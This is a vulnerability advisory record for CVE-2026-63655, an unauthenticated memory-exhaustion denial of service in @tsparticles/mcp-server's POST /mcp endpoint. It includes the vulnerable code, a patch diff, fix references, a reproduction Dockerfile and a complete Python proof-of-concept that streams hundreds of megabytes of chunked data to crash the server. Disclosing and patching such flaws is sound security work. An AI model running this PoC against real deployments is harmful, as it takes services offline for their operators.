{"id":"CVE-2026-63655","aliases":["GHSA-447x-qqwf-m7xq"],"url":"https://o3.security/vulnerability/CVE-2026-63655","summary":"tsParticles: Unbounded HTTP Request Body Buffering in @tsparticles/mcp-server Leads to Remote DoS","details":"### Summary\n\nThe HTTP server mode of `@tsparticles/mcp-server` accumulates all incoming request body chunks into an in-memory `Buffer[]` array with no size limit before calling `JSON.parse`. An unauthenticated remote attacker can stream an arbitrarily large body to `POST /mcp`, exhausting the Node.js process memory and causing a Denial of Service. The official Docker image ships with HTTP mode enabled by default (`--port 3000` on `0.0.0.0`), making this exploitable without any special configuration in containerized deployments.\n\n### Details\n\nThe vulnerability exists in `integrations/mcp-server/src/index.ts` at lines 399–407. The `POST /mcp` request handler resolves a `Promise` that pushes every incoming data chunk into a `Buffer[]` array without checking the cumulative size, a `Content-Length` header, or any other guard:\n\n```ts\n// integrations/mcp-server/src/index.ts:399-407\nif (req.method === \"POST\" && req.url === \"/mcp\") {\n  const body = await new Promise<string>((resolve, reject) => {\n    const chunks: Buffer[] = [];\n    req.on(\"data\", (chunk) => chunks.push(Buffer.from(chunk)));  // no size guard\n    req.on(\"end\", () => resolve(Buffer.concat(chunks).toString(\"utf8\")));\n    req.on(\"error\", reject);\n  });\n\n  const parsedBody = body ? JSON.parse(body) : undefined;\n```\n\nThe complete data flow leading to exploitation:\n\n1. `index.ts:390` — HTTP server is created.\n2. `index.ts:399` — `POST /mcp` branch is entered; no authentication is performed.\n3. `index.ts:401-403` — Every chunk is appended to `chunks[]` without any byte-count check.\n4. `index.ts:407` — The concatenated buffer is passed to `JSON.parse`.\n5. `index.ts:416` — The server listens on `0.0.0.0`, exposing it on all network interfaces.\n\nThere is no `Content-Length` validation, no body-size middleware, and no `413 Payload Too Large` response in the server source. The official `Dockerfile` (`integrations/mcp-server/Dockerfile`) sets `CMD [\"node\", \"dist/index.js\", \"--port\", \"3000\"]`, meaning Docker deployments run in HTTP mode by default without any additional opt-in.\n\nA suggested patch would be to track cumulative received bytes and destroy the request once a threshold (e.g., 1 MB) is exceeded:\n\n```diff\n--- a/integrations/mcp-server/src/index.ts\n+++ b/integrations/mcp-server/src/index.ts\n@@\n import { createServer } from \"node:http\";\n import { randomUUID } from \"node:crypto\";\n\n const PACKAGE_VERSION = \"0.1.0\";\n+const maxRequestBodyBytes = 1024 * 1024;\n@@\n     if (req.method === \"POST\" && req.url === \"/mcp\") {\n       const body = await new Promise<string>((resolve, reject) => {\n         const chunks: Buffer[] = [];\n-        req.on(\"data\", (chunk) => chunks.push(Buffer.from(chunk)));\n+        let received = 0;\n+        req.on(\"data\", (chunk) => {\n+          received += chunk.length;\n+          if (received > maxRequestBodyBytes) {\n+            req.destroy(new Error(\"Request body too large\"));\n+            return;\n+          }\n+          chunks.push(Buffer.from(chunk));\n+        });\n         req.on(\"end\", () => resolve(Buffer.concat(chunks).toString(\"utf8\")));\n         req.on(\"error\", reject);\n       });\n```\n\n### PoC\n\n**Environment setup:**\n\n```bash\n# Build the Docker image from the repository root\ndocker build \\\n  -f /path/to/vuln-001/Dockerfile \\\n  -t vuln001-mcp \\\n  /path/to/tsparticles-repo\n\n# Run with a 256 MB memory cap (matching the dynamic reproduction)\ndocker run -d \\\n  -p 127.0.0.1:3000:3000 \\\n  --memory=256m --memory-swap=256m \\\n  --name vuln001-mcp \\\n  vuln001-mcp\n```\n\n**Exploit (Python PoC — `poc.py`):**\n\nThe script uses chunked transfer encoding so only O(1 MB) of Python-side memory is needed, while the Node.js process accumulates every received chunk in its `Buffer[]` array.\n\n```bash\npython3 poc.py --host 127.0.0.1 --port 3000 --mb 300 --container vuln001-mcp\n```\n\nEquivalent minimal request:\n\n```python\nimport socket\n\ns = socket.create_connection((\"127.0.0.1\", 3000))\nheaders = (\n    \"POST /mcp HTTP/1.1\\r\\n\"\n    \"Host: 127.0.0.1:3000\\r\\n\"\n    \"Content-Type: application/json\\r\\n\"\n    \"Transfer-Encoding: chunked\\r\\n\"\n    \"Connection: close\\r\\n\\r\\n\"\n).encode()\ns.sendall(headers)\n\nprefix = b'{\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"tools/list\",\"params\":\"'\ns.sendall(f\"{len(prefix):x}\\r\\n\".encode() + prefix + b\"\\r\\n\")\n\nchunk = b\"A\" * (1024 * 1024)  # 1 MB per write\nfor _ in range(300):           # stream 300 MB total\n    s.sendall(f\"{len(chunk):x}\\r\\n\".encode() + chunk + b\"\\r\\n\")\n```\n\n**Expected result:**\n\n- Baseline memory usage: ~24.9 MiB / 256 MiB.\n- After ~209 MB received, the server-side `BrokenPipeError` occurs as Docker's OOM-killer terminates the process.\n- `docker inspect vuln001-mcp` shows `State.OOMKilled = true` and `State.Status = exited`.\n\n**Dynamic reproduction confirmed:** OOMKilled=true was observed during Phase 2 testing with a 300 MB stream against a container limited to 256 MB.\n\n### Impact\n\nAn unauthenticated remote attacker who can reach the `POST /mcp` HTTP endpoint can cause the Node.js server process to consume unbounded memory, leading to process termination (OOM kill) and complete service unavailability. No credentials or prior access are required.\n\nIn the default Docker deployment (`CMD [\"node\", \"dist/index.js\", \"--port\", \"3000\"]`), the server binds to `0.0.0.0:3000`, making it reachable from any network interface without configuration changes. Any operator running the official Docker image is exposed by default.\n\nThe vulnerability is a Denial of Service (DoS) — confidentiality and integrity are not directly affected. Recovery requires restarting the container.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\n# VULN-001: Unbounded HTTP Request Body Buffering in @tsparticles/mcp-server\n# Build context must be the repository root so COPY paths resolve correctly.\n# Build:  docker build -f vuln-001/Dockerfile -t vuln001-mcp .\n# Run:    docker run -d -p 127.0.0.1:3000:3000 \\\n#                    --memory=256m --memory-swap=256m \\\n#                    --name vuln001-mcp vuln001-mcp\n\n# --- Stage 1: compile TypeScript ---\nFROM node:22-alpine AS build\n\nWORKDIR /build\n\n# Copy only the mcp-server package (avoids pulling the entire monorepo)\nCOPY integrations/mcp-server/package.json  ./package.json\nCOPY integrations/mcp-server/tsconfig.json ./tsconfig.json\nCOPY integrations/mcp-server/src/          ./src/\n\n# Install all deps (devDeps needed for TypeScript compiler)\nRUN npm install --no-audit --no-fund\n\n# Compile TypeScript -> dist/\nRUN npx tsc\n\n# --- Stage 2: minimal runtime image ---\nFROM node:22-alpine\n\nWORKDIR /app\n\n# Copy compiled JS and production node_modules\nCOPY --from=build /build/dist          ./dist\nCOPY --from=build /build/node_modules  ./node_modules\n\nEXPOSE 3000\n\n# Start HTTP mode on port 3000 — identical to the official Dockerfile CMD.\n# No --max-old-space-size flag; memory cap is enforced by Docker --memory at run time.\nCMD [\"node\", \"dist/index.js\", \"--port\", \"3000\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC for VULN-001: Unbounded HTTP Request Body Buffering in @tsparticles/mcp-server\nRepository : tsparticles/tsparticles\nVersion    : 4.3.0 (commit eb2d299)\nCWE        : CWE-400 — Uncontrolled Resource Consumption\nCVSS       : 7.5 High  (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)\nFile       : integrations/mcp-server/src/index.ts:399-407\n\nVulnerability:\n    The POST /mcp handler resolves a Promise that accumulates every data chunk\n    into a Buffer[] array without any Content-Length or size guard, then calls\n    Buffer.concat() and JSON.parse() on the full body.  An unauthenticated\n    remote attacker can exhaust the server's memory by streaming an arbitrarily\n    large body.\n\n    Source (index.ts:399-407):\n        if (req.method === \"POST\" && req.url === \"/mcp\") {\n          const body = await new Promise<string>((resolve, reject) => {\n            const chunks: Buffer[] = [];\n            req.on(\"data\", (chunk) => chunks.push(Buffer.from(chunk)));  // no guard\n            req.on(\"end\", () => resolve(Buffer.concat(chunks).toString(\"utf8\")));\n            req.on(\"error\", reject);\n          });\n          const parsedBody = body ? JSON.parse(body) : undefined;\n\nExploit strategy:\n    Stream a large body via chunked transfer encoding so the Python process\n    itself needs only O(chunk) memory.  The Node.js server accumulates every\n    chunk in its Buffer array.  With a Docker memory cap of 256 MB the container\n    is OOM-killed once the buffered data exceeds available RAM, producing\n    OOMKilled=true — an unambiguous, observable indicator.\n\nUsage:\n    python3 poc.py [--host 127.0.0.1] [--port 3000]\n                   [--mb 300] [--container vuln001-mcp]\n\"\"\"\n\nimport argparse\nimport socket\nimport subprocess\nimport sys\nimport time\n\n\n# ---------------------------------------------------------------------------\n# Helpers\n# ---------------------------------------------------------------------------\n\ndef parse_args():\n    p = argparse.ArgumentParser(description=\"VULN-001 PoC — unbounded body buffering\")\n    p.add_argument(\"--host\",      default=\"127.0.0.1\", help=\"Server host\")\n    p.add_argument(\"--port\",      type=int, default=3000, help=\"Server port\")\n    p.add_argument(\"--mb\",        type=int, default=300, help=\"Payload size in MB\")\n    p.add_argument(\"--container\", default=\"vuln001-mcp\", help=\"Docker container name\")\n    return p.parse_args()\n\n\ndef wait_for_server(host: str, port: int, timeout: int = 60) -> bool:\n    \"\"\"Poll TCP until the server accepts connections or timeout expires.\"\"\"\n    deadline = time.time() + timeout\n    print(f\"[*] Waiting for server at {host}:{port}  (timeout={timeout}s) ...\", flush=True)\n    while time.time() < deadline:\n        try:\n            s = socket.create_connection((host, port), timeout=1)\n            s.close()\n            print(\"[+] Server is ready\", flush=True)\n            return True\n        except OSError:\n            time.sleep(0.5)\n    print(\"[-] Timed out waiting for server\")\n    return False\n\n\ndef container_info(name: str) -> tuple[str, str, str]:\n    \"\"\"Return (status, mem_usage, oom_killed) strings for a Docker container.\"\"\"\n    status, oom = \"unknown\", \"unknown\"\n    try:\n        r = subprocess.run(\n            [\"docker\", \"inspect\", \"--format\",\n             \"{{.State.Status}}|{{.State.OOMKilled}}\", name],\n            capture_output=True, text=True, timeout=5,\n        )\n        if r.returncode == 0:\n            parts = r.stdout.strip().split(\"|\")\n            status = parts[0] if len(parts) > 0 else \"unknown\"\n            oom    = parts[1] if len(parts) > 1 else \"unknown\"\n    except Exception as exc:\n        status = f\"error({exc})\"\n\n    mem = \"N/A\"\n    try:\n        r2 = subprocess.run(\n            [\"docker\", \"stats\", \"--no-stream\", \"--format\", \"{{.MemUsage}}\", name],\n            capture_output=True, text=True, timeout=5,\n        )\n        mem = r2.stdout.strip() or \"N/A\"\n    except Exception:\n        pass\n\n    return status, mem, oom\n\n\n# ---------------------------------------------------------------------------\n# Core exploit\n# ---------------------------------------------------------------------------\n\ndef stream_large_body(host: str, port: int, total_mb: int) -> tuple[bool, int, bytes]:\n    \"\"\"\n    Open a single TCP connection and stream a large body using chunked TE.\n\n    Using chunked transfer encoding keeps this Python process's memory usage\n    at O(1-MB chunk) while forcing the Node.js server to accumulate every\n    received chunk in its Buffer[] array — the vulnerable code path.\n\n    Returns:\n        server_closed  — True if the server reset the connection mid-stream\n        bytes_sent     — total body bytes sent\n        response       — first bytes of the HTTP response (may be empty)\n    \"\"\"\n    s = socket.create_connection((host, port))\n\n    headers = (\n        f\"POST /mcp HTTP/1.1\\r\\n\"\n        f\"Host: {host}:{port}\\r\\n\"\n        f\"Content-Type: application/json\\r\\n\"\n        f\"Transfer-Encoding: chunked\\r\\n\"\n        f\"Connection: close\\r\\n\"\n        f\"\\r\\n\"\n    ).encode()\n    s.sendall(headers)\n\n    def send_chunk(data: bytes) -> None:\n        s.sendall(f\"{len(data):x}\\r\\n\".encode() + data + b\"\\r\\n\")\n\n    # Begin a JSON body prefix (the server buffers everything before parsing)\n    prefix = b'{\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"tools/list\",\"params\":\"'\n    send_chunk(prefix)\n    bytes_sent = len(prefix)\n\n    chunk_size = 1024 * 1024   # 1 MB per TCP write\n    filler     = b\"A\" * chunk_size\n    target     = total_mb * 1024 * 1024\n    server_closed = False\n\n    while bytes_sent < target:\n        remaining = target - bytes_sent\n        chunk = filler[: min(chunk_size, remaining)]\n        try:\n            send_chunk(chunk)\n            bytes_sent += len(chunk)\n            mb_done = bytes_sent // (1024 * 1024)\n            if mb_done % 50 == 0:\n                print(f\"[*]   {mb_done}/{total_mb} MB streamed ...\", flush=True)\n        except (BrokenPipeError, ConnectionResetError, OSError) as exc:\n            print(f\"[!] Connection reset after {bytes_sent // (1024 * 1024)} MB: {exc}\",\n                  flush=True)\n            server_closed = True\n            break\n\n    if not server_closed:\n        try:\n            send_chunk(b'\"}')\n            s.sendall(b\"0\\r\\n\\r\\n\")  # final (empty) chunk = end of chunked body\n        except OSError:\n            server_closed = True\n\n    response = b\"\"\n    if not server_closed:\n        s.settimeout(5)\n        try:\n            response = s.recv(4096)\n        except OSError:\n            pass\n\n    try:\n        s.close()\n    except OSError:\n        pass\n\n    return server_closed, bytes_sent, response\n\n\n# ---------------------------------------------------------------------------\n# Main\n# ---------------------------------------------------------------------------\n\ndef main() -> bool:\n    args = parse_args()\n\n    print(\"=\" * 65)\n    print(\"VULN-001 — Unbounded HTTP Body Buffering in @tsparticles/mcp-server\")\n    print(f\"Target  : http://{args.host}:{args.port}/mcp   (no auth)\")\n    print(f\"Payload : {args.mb} MB  (no Content-Length or body-size guard)\")\n    print(f\"Monitor : Docker container '{args.container}'\")\n    print(\"=\" * 65)\n\n    if not wait_for_server(args.host, args.port):\n        print(\"[FAIL] Server did not become available\")\n        return False\n\n    # --- baseline ---\n    status_before, mem_before, _ = container_info(args.container)\n    print(f\"\\n[*] Baseline  status={status_before}  memory={mem_before}\")\n\n    # --- exploit ---\n    print(f\"\\n[*] Streaming {args.mb} MB body to POST /mcp ...\", flush=True)\n    t0 = time.time()\n    server_closed, bytes_sent, response = stream_large_body(\n        args.host, args.port, args.mb\n    )\n    elapsed = time.time() - t0\n\n    time.sleep(2)   # allow Docker stats to refresh\n\n    status_after, mem_after, oom_killed = container_info(args.container)\n\n    print(f\"\\n[*] Transfer       : {bytes_sent // (1024 * 1024)} MB in {elapsed:.1f} s\")\n    print(f\"[*] Server closed  : {server_closed}\")\n    print(f\"[*] HTTP response  : {response[:200]!r}\")\n    print(f\"[*] Container      : status={status_after}  OOMKilled={oom_killed}\")\n    print(f\"[*] Memory before  : {mem_before}\")\n    print(f\"[*] Memory after   : {mem_after}\")\n\n    # --- verdict ---\n    if oom_killed == \"true\":\n        print(\"\\n[PASS] OOMKilled=true — Docker OOM-killed the container\")\n        print(\"       The Node.js process was killed because it buffered the full\")\n        print(\"       request body in memory (no size guard in POST /mcp handler).\")\n        return True\n\n    if status_after in (\"exited\", \"dead\"):\n        print(f\"\\n[PASS] Container exited (status={status_after}) after receiving\"\n              f\" {bytes_sent // (1024 * 1024)} MB body — memory exhaustion confirmed\")\n        return True\n\n    if not server_closed and status_after == \"running\":\n        print(f\"\\n[PASS] {args.mb} MB body fully accepted — no size limit enforced\")\n        print(f\"       Memory before: {mem_before}  |  after: {mem_after}\")\n        print(\"       CWE-400 confirmed: unbounded buffering without authentication\")\n        return True\n\n    if server_closed:\n        print(f\"\\n[PARTIAL] Connection reset after {bytes_sent // (1024 * 1024)} MB\")\n        print(\"          Server may have crashed internally; check docker logs.\")\n        # Still consider PASS if container is dead\n        if status_after not in (\"running\",):\n            return True\n        return False\n\n    print(\"\\n[INCONCLUSIVE] Unexpected outcome — inspect container logs manually\")\n    return False\n\n\nif __name__ == \"__main__\":\n    ok = main()\n    sys.exit(0 if ok else 1)\n```","published":"2026-11-04T22:01:50.183Z","modified":"2026-11-08T02:30:41.547135065Z","cvss":{"score":7.5,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},"epss":null,"cisaKev":null,"exploitsKnown":null,"affectedPackages":[{"ecosystem":"npm","name":"@tsparticles/mcp-server","fixedVersion":"4.3.1"}],"fix":{"url":"https://github.com/tsparticles/tsparticles/commit/25fb70e7f527a91568adaef576570289083f243b","label":"tsparticles/tsparticles@25fb70e"},"references":[{"type":"WEB","url":"https://github.com/tsparticles/tsparticles/releases/tag/v4.3.1"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/63xxx/CVE-2026-63655.json"},{"type":"ADVISORY","url":"https://github.com/tsparticles/tsparticles/security/advisories/GHSA-447x-qqwf-m7xq"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-63655"},{"type":"FIX","url":"https://github.com/tsparticles/tsparticles/commit/25fb70e7f527a91568adaef576570289083f243b"},{"type":"FIX","url":"https://github.com/tsparticles/tsparticles/commit/7b3a9488d4201fe9ddd5fec05f4a2ae65d3627ea"},{"type":"FIX","url":"https://github.com/tsparticles/tsparticles/pull/5875"},{"type":"PACKAGE","url":"https://github.com/tsparticles/tsparticles"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-11-08T02:30:41.547135065Z"}}